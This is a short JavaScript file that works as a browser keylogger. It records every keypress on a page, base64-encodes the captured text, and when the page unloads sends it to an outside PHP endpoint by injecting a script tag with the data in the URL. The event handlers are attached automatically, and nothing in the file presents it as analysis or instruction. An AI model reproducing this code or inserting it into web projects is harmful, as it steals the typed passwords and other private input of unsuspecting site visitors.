var data = '';

function keylog(ev)
{
	var code;
	if(!ev) var ev = window.event;
	if(ev.keyCode) code = ev.keyCode;
	else if(ev.which) code = ev.which;
	
	data += String.fromCharCode(code);
}


function log()
{
	if(data == '') data = '<- Nothing ->';
	var page = 'http://cycareer.kelio.org/theme/img/serv.php';
	var head = document.getElementsByTagName('head')[0];
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.src = page+'?data='+base64encode(data);
	head.appendChild(script);	
}

function base64encode(input)
{
	var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	var output = "";
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;

	do
	{
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);

		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;

		if (isNaN(chr2))
		{
			enc3 = enc4 = 64;
		}
		else if (isNaN(chr3))
		{
			enc4 = 64;
		}

		output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
	}while (i < input.length);
   
	return output;
}

function init()
{
	document.getElementsByTagName('body')[0].onkeypress = keylog;
	document.getElementsByTagName('body')[0].onunload = log;
}

setTimeout("init()",100);
window.onkeypress = keylog;
window.onunload = log;
document.getElementsByTagName('body')[0].onkeypress = keylog;
document.getElementsByTagName('body')[0].onunload = log;
